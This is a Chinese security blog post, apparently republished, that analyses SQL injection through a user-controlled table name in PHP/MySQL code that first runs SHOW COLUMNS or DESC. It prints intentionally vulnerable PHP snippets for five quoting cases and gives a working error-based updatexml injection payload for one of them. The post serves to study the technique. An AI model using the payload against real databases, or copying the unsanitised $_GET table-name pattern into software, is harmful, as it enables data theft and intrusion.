首页 > 代码库 > 当表名可控的注入遇到了Describe时的几种情况。
当表名可控的注入遇到了Describe时的几种情况。
转自:http://www.yulegeyu.com/2017/04/16/%E5%BD%93%E8%A1%A8%E5%90%8D%E5%8F%AF%E6%8E%A7%E7%9A%84%E6%B3%A8%E5%85%A5%E9%81%87%E5%88%B0%E4%BA%86Describe%E6%97%B6%E7%9A%84%E5%87%A0%E7%A7%8D%E6%83%85%E5%86%B5%E3%80%82/
SHOW COLUMNS
之前小嘎嘎遇到了个注入是表前缀不可控,表名可控的注入,
但是在表名进入的select语句执行之前, 执行了一次SHOW COLUMNS FROM $TABLE。
如果SHOW COLUMNS语句执行出错了的话,
就不会再执行后面的SELECT语句。大概代码如:
mysql_connect("localhost","root","xiaoyu"); mysql_query("use b2cshop"); $table = $_GET[‘table‘]; mysql_query("show columns from `shop_{$table}`") or die("show coulumns 出错:".mysql_error()); $sql = "select * from `shop_{$table}` where 1=1"; echo $sql; echo "<br><br><br><br><br><br><br>"; var_dump(mysql_fetch_array(mysql_query("$sql"))); echo mysql_error();
要解这个, 首先来看一下 SHOW COLUMNS Syntax
SHOW [FULL] COLUMNS {FROM | IN} tbl_name [{FROM | IN} db_name] [LIKE ‘pattern‘ | WHERE expr]
看到where 后面可以跟expr, 就很简单了。
解决了这个, 让我想起了我好多年前遇到的另外一种, 他不是用的show columns 而是用的describe, 当年的我没解决掉, 所以又再去看了一眼,试试能不能解决掉。 DESC这种分为几种情况。
DESCRIBE
虽然说的是 DESCRIBE 是 SHOW COLUMNS 的shortcut,但是其实两个语法完全不同。。
0x01 表名完全可控且无identifier quote。
mysql_connect("localhost","root","xiaoyu"); mysql_query("use b2cshop"); $table = $_GET[‘table‘]; mysql_query("desc $table") or die("DESC 出错:".mysql_error()); $sql = "select * from {$table} where 1=1"; echo $sql; echo "<br><br><br><br><br><br><br>"; var_dump(mysql_fetch_array(mysql_query("$sql"))); echo mysql_error();
这种的,应该实例特别少。
利用比较简单, 根据文档写的构造一下, 直接利用desc 来注入。
0x02 表名不完全可控且DESC和SELECT的表名都含有identifier quote
一般都是遇到的这种注入,会有表前缀是不可控的。
mysql_connect("localhost","root","xiaoyu"); mysql_query("use b2cshop"); $table = $_GET[‘table‘]; mysql_query("desc `shop_{$table}`") or die("DESC 出错:".mysql_error()); $sql = "select * from `shop_{$table}` where 1=1"; echo $sql; echo "<br><br><br><br><br><br><br>"; var_dump(mysql_fetch_array(mysql_query("$sql"))); echo mysql_error();
这种想了很久, 我感觉是无解, 如果有大佬能搞定的话, 求学习。
0x03 表名不完全可控且DESC和SELECT的表名都不含有identifier quote
mysql_connect("localhost","root","xiaoyu"); mysql_query("use b2cshop"); $table = $_GET[‘table‘]; mysql_query("desc shop_{$table}") or die("DESC 出错:".mysql_error()); $sql = "select * from shop_{$table} where 1=1"; echo $sql; echo "<br><br><br><br><br><br><br>"; var_dump(mysql_fetch_array(mysql_query("$sql"))); echo mysql_error();
自我感觉,依旧无解。
0x04 表名不完全可控且DESC的表名含有identifier quote,SELECT的表名不含identifier quote
mysql_connect("localhost","root","xiaoyu"); mysql_query("use b2cshop"); $table = $_GET[‘table‘]; mysql_query("desc `shop_{$table}`") or die("DESC 出错:".mysql_error()); $sql = "select * from shop_{$table} where 1=1"; echo $sql; echo "<br><br><br><br><br><br><br>"; var_dump(mysql_fetch_array(mysql_query("$sql"))); echo mysql_error();
可解,
shop_users 后面的两个``,做了shop_users 表的别名,所以无影响。
这时候desc的语句为,
desc `shop_users` `where updatexml(1,concat(0x5e24,(select user()),0x5e24),1)#`
看一下DESC的Syntax
DESC tbl_name [col_name | wild]
可以看到表名后面可以接col_name 或者 wild
为什么表名后面接了where updatexml(1,concat(0x5e24,(select user()),0x5e24),1)# 却没有报unknown column,
感觉是因为这个应该是按照wild来执行的,
wild, if given, is a pattern string. It can contain the SQL % and _ wildcard characters.
所以不会报unknown column。
0x05 表名不完全可控且DESC的表名不含identifier quote,SELECT的表名含有identifier quote
跟上面一个利用差不多,稍微改一下。
mysql_connect("localhost","root","xiaoyu"); mysql_query("use b2cshop"); $table = $_GET[‘table‘]; mysql_query("desc shop_{$table}") or die("DESC 出错:".mysql_error()); $sql = "select * from `shop_{$table}` where 1=1"; echo $sql; echo "<br><br><br><br><br><br><br>"; var_dump(mysql_fetch_array(mysql_query("$sql"))); echo mysql_error();
当表名可控的注入遇到了Describe时的几种情况。